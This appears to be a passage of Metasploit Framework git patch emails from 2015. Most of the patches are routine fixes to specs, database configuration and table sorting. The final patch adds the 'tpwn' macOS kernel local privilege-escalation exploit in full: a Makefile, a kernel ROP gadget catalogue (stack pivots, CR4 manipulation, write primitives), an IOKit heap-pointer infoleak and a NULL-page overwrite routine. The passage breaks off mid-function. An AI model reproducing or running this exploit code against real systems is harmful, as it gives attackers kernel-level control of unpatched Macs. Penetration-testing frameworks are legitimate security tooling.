dns address, that should be given to network's hosts via dhcp - + # def run vprint_status("Trying to find writable directory.") - writable_directory = nil - writable_directory = "/etc/" if is_writable_directory("/etc") - writable_directory = "/mnt/" if (!writable_directory && is_writable_directory("/mnt")) - writable_directory = "/var/" if (!writable_directory && is_writable_directory("/var")) - writable_directory = "/var/tmp/" if (!writable_directory && is_writable_directory("/var/tmp")) + writable_directory = get_writable_directory() if writable_directory vprint_status("writable directory found, downloading file.") rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} @@ -60,30 +57,4 @@ class Metasploit3 < Msf::Post end end - #This function checks if the target directory is writable - - def is_writable_directory(directory_path) - retval = false - rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} - file_path = directory_path + "/" + rand_str - session.shell_write("echo #{rand_str}XXX#{rand_str} > #{file_path}\n"); Rex::sleep(0.1) - (1..5).each{session.shell_read(); Rex::sleep(0.1)} - rcv = read_file(file_path) - vprint_status("is_writable_directory:"+rcv) - if rcv.include? (rand_str+"XXX"+rand_str) - retval = true - end - cmd_exec("rm -f #{file_path}"); Rex::sleep(0.1) - return retval - end - - #file? doesnt work because test -f is not implemented in busybox - def file_exists(file_path) - s = read_file(file_path) - if s and s.length - return true - end - return false - end - end From 0aa958dac0f1c3bf3f16fbba0cf6347be2c36e94 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 13:47:52 -0500 Subject: [PATCH 0304/2172] Allow unserialization on hosts v5 --- lib/msf/core/db_manager/import/metasploit_framework/xml.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb index 6a5ac28cd0..8ca86081fa 100644 --- a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb +++ b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb @@ -241,7 +241,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML host_data = {} host_data[:task] = args[:task] host_data[:workspace] = wspace - host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip) + host_data[:host] = nils_for_nulls(unserialize_object(host.elements["address"])) if bl.include? host_data[:host] next else From c52da9f50d16987b3f07ea04dd27b58e3f8ae9cb Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 17 Aug 2015 14:26:51 -0500 Subject: [PATCH 0305/2172] Add regression spec for #5856 --- spec/lib/msf/core/payload_generator_spec.rb | 71 +++++++++++++++++---- 1 file changed, 60 insertions(+), 11 deletions(-) diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index a61ab5f9e5..7759d8c831 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -347,28 +347,77 @@ describe Msf::PayloadGenerator do end context '#prepend_nops' do - before(:each) do - load_and_create_module( - module_type: 'nop', - reference_name: 'x86/opty2' - ) - end - context 'when nops are set to 0' do + let(:nops) { 0 } + + before(:each) do + load_and_create_module( + module_type: 'nop', + reference_name: 'x86/opty2' + ) + end + it 'returns the unmodified shellcode' do expect(payload_generator.prepend_nops(shellcode)).to eq shellcode end end context 'when nops are set to more than 0' do + let(:badchars) { "" } let(:nops) { 20 } - it 'returns shellcode of the correct size' do - expect(payload_generator.prepend_nops(shellcode).length).to eq 24 + context 'when payload is x86' do + before(:each) do + load_and_create_module( + module_type: 'nop', + reference_name: 'x86/opty2' + ) + end + + it 'returns shellcode of the correct size' do + final = payload_generator.prepend_nops(shellcode) + puts "in spec, x86 final: #{final.inspect}" + expect(final.length).to eq 24 + end + + it 'puts the nops in front of the original shellcode' do + expect(payload_generator.prepend_nops(shellcode)[20,24]).to eq shellcode + end + end - it 'puts the nops in front of the original shellcode' do - expect(payload_generator.prepend_nops(shellcode)[20,24]).to eq shellcode + context 'when payload is Windows x64' do + let(:arch) { 'x86_64' } + let(:payload_module) { + load_and_create_module( + ancestor_reference_names: %w{ + stagers/windows/x64/reverse_tcp + stages/windows/x64/meterpreter + }, + module_type: 'payload', + reference_name: 'windows/x64/meterpreter/reverse_tcp' + ) + } + + before(:each) do + load_and_create_module( + module_type: 'nop', + reference_name: 'x64/simple' + ) + end + + it 'returns shellcode of the correct size' do + final = payload_generator.prepend_nops(shellcode) + puts "in spec, x86_64 final: #{final.inspect}" + expect(final.length).to eq(nops+shellcode.length) + end + + it 'puts the nops in front of the original shellcode' do + final = payload_generator.prepend_nops(shellcode) + expect(final[nops,nops+shellcode.length]).to eq shellcode + end + + end end end From 0bb01c8b6bb0e2c37df26dfe46ccc6c70b07de91 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Mon, 17 Aug 2015 14:40:15 -0500 Subject: [PATCH 0306/2172] Fix nil bug with an empty database.yml Use an empty hash instead of false. --- lib/msf/ui/console/driver.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 3148e680d3..b067392452 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -169,7 +169,7 @@ class Driver < Msf::Ui::Driver unless configuration_pathname.nil? if configuration_pathname.readable? - dbinfo = YAML.load_file(configuration_pathname) + dbinfo = YAML.load_file(configuration_pathname) || {} dbenv = opts['DatabaseEnv'] || Rails.env db = dbinfo[dbenv] else From 02e3e9af163f11c277f1a301ed69c304484a4251 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 14:52:26 -0500 Subject: [PATCH 0307/2172] Allow to compare ipv4 vs ipv6 hosts --- lib/rex/ui/text/table.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/rex/ui/text/table.rb b/lib/rex/ui/text/table.rb index 87b660d6c6..52da87c5f4 100644 --- a/lib/rex/ui/text/table.rb +++ b/lib/rex/ui/text/table.rb @@ -203,6 +203,10 @@ class Table cmp = Rex::Socket::addr_atoi(a[index]) <=> Rex::Socket::addr_atoi(b[index]) elsif a[index] =~ /^[0-9]+$/ and b[index] =~ /^[0-9]+$/ cmp = a[index].to_i <=> b[index].to_i + elsif a[index].kind_of?(IPAddr) && a[index].kind_of?(IPAddr) && a[index].ipv6? && b[index].ipv4? + cmp = 1 + elsif a[index].kind_of?(IPAddr) && b[index].kind_of?(IPAddr) && a[index].ipv4? && b[index].ipv6? + cmp = -1 else cmp = a[index] <=> b[index] # assumes otherwise comparable. end From 09c888bc49356802f920ff09da47247e84701733 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 15:27:26 -0500 Subject: [PATCH 0308/2172] Fix minor things --- spec/lib/msf/core/payload_generator_spec.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 7759d8c831..7dd44048bc 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -363,7 +363,7 @@ describe Msf::PayloadGenerator do end context 'when nops are set to more than 0' do - let(:badchars) { "" } + let(:badchars) { '' } let(:nops) { 20 } context 'when payload is x86' do @@ -408,16 +408,14 @@ describe Msf::PayloadGenerator do it 'returns shellcode of the correct size' do final = payload_generator.prepend_nops(shellcode) - puts "in spec, x86_64 final: #{final.inspect}" - expect(final.length).to eq(nops+shellcode.length) + expect(final.length).to eq(nops + shellcode.length) end it 'puts the nops in front of the original shellcode' do final = payload_generator.prepend_nops(shellcode) - expect(final[nops,nops+shellcode.length]).to eq shellcode + expect(final[nops, nops + shellcode.length]).to eq shellcode end - end end end From 0a7ac2d75848a4603abdde5e859cd471f91993e7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 15:28:48 -0500 Subject: [PATCH 0309/2172] Delete another debug puts --- spec/lib/msf/core/payload_generator_spec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 7dd44048bc..7a707e41af 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -376,7 +376,6 @@ describe Msf::PayloadGenerator do it 'returns shellcode of the correct size' do final = payload_generator.prepend_nops(shellcode) - puts "in spec, x86 final: #{final.inspect}" expect(final.length).to eq 24 end From efc980074c1fc0142237ac53a78c455f469c5930 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Mon, 17 Aug 2015 16:36:36 -0500 Subject: [PATCH 0310/2172] Add tpwn exploit files --- data/exploits/tpwn/Makefile | 3 + data/exploits/tpwn/import.h | 34 ++++ data/exploits/tpwn/lsym.h | 47 +++++ data/exploits/tpwn/lsym.m | 159 +++++++++++++++++ data/exploits/tpwn/lsym_gadgets.h | 69 +++++++ data/exploits/tpwn/main.m | 286 ++++++++++++++++++++++++++++++ data/exploits/tpwn/tpwn | Bin 0 -> 31484 bytes 7 files changed, 598 insertions(+) create mode 100644 data/exploits/tpwn/Makefile create mode 100644 data/exploits/tpwn/import.h create mode 100644 data/exploits/tpwn/lsym.h create mode 100644 data/exploits/tpwn/lsym.m create mode 100644 data/exploits/tpwn/lsym_gadgets.h create mode 100644 data/exploits/tpwn/main.m create mode 100755 data/exploits/tpwn/tpwn diff --git a/data/exploits/tpwn/Makefile b/data/exploits/tpwn/Makefile new file mode 100644 index 0000000000..dfecee38e4 --- /dev/null +++ b/data/exploits/tpwn/Makefile @@ -0,0 +1,3 @@ +all: + gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3 + strip tpwn diff --git a/data/exploits/tpwn/import.h b/data/exploits/tpwn/import.h new file mode 100644 index 0000000000..cf0a0354f4 --- /dev/null +++ b/data/exploits/tpwn/import.h @@ -0,0 +1,34 @@ +#ifndef pwn_import_h +#define pwn_import_h + + +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <stdint.h> + +#include <mach/mach.h> +#include <mach/mach_vm.h> + +#include <IOKit/IOKitLib.h> +#include <CoreFoundation/CoreFoundation.h> +#include <IOKit/IOKitLib.h> +#include <dlfcn.h> +#include <string.h> +#include <mach/mach_types.h> +#include <mach-o/loader.h> +#include <sys/types.h> +#include <mach-o/nlist.h> +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <sys/mman.h> +#include <sys/types.h> +#include <sys/stat.h> +#include <fcntl.h> + + +#include "lsym.h" +#include "lsym_gadgets.h" + +#endif diff --git a/data/exploits/tpwn/lsym.h b/data/exploits/tpwn/lsym.h new file mode 100644 index 0000000000..eaa1d417d9 --- /dev/null +++ b/data/exploits/tpwn/lsym.h @@ -0,0 +1,47 @@ +#ifndef __pwn__lsym__ +#define __pwn__lsym__ + +#include <stdio.h> +#include "import.h" + +#define JUNK_VALUE 0x1337133713371337 + + +typedef struct kernel_fake_stack { + uint64_t __cnt; + uint64_t __padding[0x4999]; + uint64_t __rop_chain[0x5000]; +} kernel_fake_stack_t; + +#define LSYM_PAYLOAD_VTABLE 1 + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); + +typedef struct lsym_map { + void* map; + const char* path; + size_t sz; +} lsym_map_t; + +typedef enum { + LSYM_DO_NOT_REBASE = (1 << 0) +} lsym_gadget_flags; + +typedef uint64_t lsym_map_pointer_t; +typedef uint64_t lsym_kern_pointer_t; +typedef uint64_t lsym_slidden_kern_pointer_t; +typedef uint64_t lsym_offset_t; + +lsym_kern_pointer_t kext_pointer(const char* identifier); +lsym_map_t *lsym_map_file(const char *path); +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name); +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags); +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping); +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer); +lsym_offset_t lsym_vm_addrperm(); + +typedef struct kernel_exploit_vector kernel_exploit_vector_t; + +#endif /* defined(__pwn__lsym__) */ diff --git a/data/exploits/tpwn/lsym.m b/data/exploits/tpwn/lsym.m new file mode 100644 index 0000000000..5ac22b512b --- /dev/null +++ b/data/exploits/tpwn/lsym.m @@ -0,0 +1,159 @@ +#include "lsym.h" +#import <Foundation/Foundation.h> + +#include <IOKit/IOKitLib.h> + +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname); +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name); +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd); +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); + + +extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); +#ifdef FIND_KERNEL_SLIDE +static lsym_offset_t kaslr_slide=0; +static char kaslr_slide_found =0; +#endif + +__attribute__((always_inline)) +lsym_kern_pointer_t kext_pointer(const char* identifier){ + return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue]; +} + +__attribute__((always_inline)) +lsym_map_t *lsym_map_file(const char *path) { + int fd=open(path, O_RDONLY); +if(fd < 0) return 0; + struct stat sb; + fstat(fd, &sb); + if (sb.st_size < 0x1000) { + return 0; + } + void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0); + lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t)); + ret->map = map; + ret->path = path; + ret->sz = sb.st_size & 0xFFFFFFFF; + return ret; +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) { + lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size); + if (!off) { + puts("[-] Couldn't find a ROP gadget, aborting."); + exit(1); + } + return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map)); +} + +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) { + struct mach_header_64 *mh = mapping->map; + struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT); + return (lsym_kern_pointer_t)text->vmaddr; +} +__attribute__((always_inline)) +lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) { + struct mach_header_64 *mh = mapping->map; + struct symtab_command *symtab = NULL; + struct segment_command_64 *linkedit = NULL; + /* + * Check header + */ + if (mh->magic != MH_MAGIC_64) { + return (lsym_kern_pointer_t)NULL; + } + + /* + * Find the LINKEDIT and SYMTAB sections + */ + linkedit = find_segment_64(mh, SEG_LINKEDIT); + if (!linkedit) { + return (lsym_kern_pointer_t)NULL; + } + + symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB); + if (!symtab) { + return (lsym_kern_pointer_t)NULL; + } + void* symtabp = symtab->stroff + 4 + (char*)mh; + void* symtabz = symtab->stroff + (char*)mh; + void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA; + uint32_t idx = 0; + while (symtabp < symendp) { + if(strcmp(symtabp, name) == 0) goto found; + symtabp += strlen((char*)symtabp) + 1; + idx++; + } + printf("[-] symbol %s not resolved.\n", name); exit(0); + return (lsym_kern_pointer_t)NULL; +found:; + struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh); + uint64_t strx = ((char*)symtabp - (char*)symtabz); + unsigned int symp = 0; + while(symp <= (symtab->nsyms)) { + uint32_t strix = *((uint32_t*)nlp); + if(strix == strx) + goto found1; + nlp ++; //sizeof(struct nlist_64); + symp++; + } + printf("[-] symbol not found: %s\n", name); + exit(-1); +found1: + //printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value); + return (lsym_kern_pointer_t)nlp->n_value; + +} + +__attribute__((always_inline)) +struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname) +{ + struct load_command *lc; + struct segment_command_64 *s, *fs = NULL; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == LC_SEGMENT_64) { + s = (struct segment_command_64 *)lc; + if (!strcmp(s->segname, segname)) { + fs = s; + break; + } + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return fs; +} + +__attribute__((always_inline)) +struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name) +{ + struct section_64 *sect, *fs = NULL; + uint32_t i = 0; + for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64)); + i < seg->nsects; + i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64))) + { + if (!strcmp(sect->sectname, name)) { + fs = sect; + break; + } + } + return fs; +} + +__attribute__((always_inline)) +struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd) +{ + struct load_command *lc, *flc; + lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == cmd) { + flc = (struct load_command *)lc; + break; + } + lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return flc; +} diff --git a/data/exploits/tpwn/lsym_gadgets.h b/data/exploits/tpwn/lsym_gadgets.h new file mode 100644 index 0000000000..a6616e4ca5 --- /dev/null +++ b/data/exploits/tpwn/lsym_gadgets.h @@ -0,0 +1,69 @@ +#ifndef ROP_PIVOT_RAX +/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */ + +#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name)) + +/* ROP gadgets present in 10.10 */ + +// stack pivot +#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0) +#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0) +#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0) +#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0) + +#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0) +#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0) + +// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts). +// how the fuck do these gadgets even exist lmao + +#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0); +#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0); +#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget. +#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0); +#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0) +#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0) +#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0) +#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0) +#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0) +#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0) +#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0) +#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0) +#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0) +#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0) +#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0) +// register control +#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0) +#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0) +#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0) +#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0) +#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0) +#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0) +#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0) +#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0) +#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0) +#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0) + +// write gadgets +#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0) +#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0) + +// read gadget +#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0) + + +// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents. + +#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0); + +// helpers + +#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++] +#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value; +#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value; +#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value; +#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE; +#endif diff --git a/data/exploits/tpwn/main.m b/data/exploits/tpwn/main.m new file mode 100644 index 0000000000..9400395f71 --- /dev/null +++ b/data/exploits/tpwn/main.m @@ -0,0 +1,286 @@ +#include <Foundation/Foundation.h> +static uint64_t kslide=0; +#define ALLOCS 0x100 +#import "import.h" +#import "lsym_gadgets.h" +static mach_port_t servicea = 0; +static mach_port_t servicex = 0; +__attribute__((always_inline)) inline +lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) { + if (!pointer) return pointer; + return (lsym_slidden_kern_pointer_t) pointer + kslide; +} + +__attribute__((always_inline)) static inline +uint64_t alloc(uint32_t addr, uint32_t sz) { + vm_deallocate(mach_task_self(), (vm_address_t) addr, sz); + vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0); + while(sz--) *(char*)(addr+sz)=0; + return addr; +} +__attribute__((always_inline)) static inline +uint64_t leak_heap_ptr(io_connect_t* co) { + io_connect_t conn = MACH_PORT_NULL; + if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) { + puts("failed"); + exit(-20); + } + uint64_t scalarO_64=0; + uint32_t outputCount = 1; + IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount); + if (!scalarO_64) { + puts("failed infoleaking"); + exit(-20); + } + scalarO_64 <<= 8; + scalarO_64 |= 0xffffff0000000000; + return scalarO_64; +} +typedef struct { + mach_msg_header_t header; + mach_msg_body_t body; + mach_msg_ool_descriptor_t desc; + mach_msg_trailer_t trailer; +} oolmsg_t; +static uint16_t off_w = 0; +__attribute__((always_inline)) static inline +void or_everywhere(uint64_t add) { + io_connect_t conn = MACH_PORT_NULL; + IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0; + if(!off_w) { + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00; + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + char* kp=(char*)0xC00; + while ((uint32_t)kp < 0x1000) { + if (*kp == 0x10) { + break; + } + kp++; + } + if ((uint32_t)kp == 0x1000) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("not vulnerable"); + exit(-1); + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + IOServiceClose(conn); + if (*((char*)0xC00)!=0x10) { + vm_deallocate(mach_task_self(), 0, 0x1000); + puts("wrong offset"); + exit(-2); + } + off_w = (uint16_t) kp - 0xc00; + } + mp=0; + while ((uint32_t)mp < 0xC00) { + *mp=(uint64_t)(add - off_w); + mp++; + } + IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); + vm_deallocate(mach_task_self(), 0, 0x1000); + IOServiceClose(conn); +} +__attribute__((always_inline)) static inline +void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + if(!*msgp){ + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp); + mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND); + } + bzero(msg,sizeof(oolmsg_t)); + msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + msg->header.msgh_remote_port = *msgp; + msg->header.msgh_local_port = 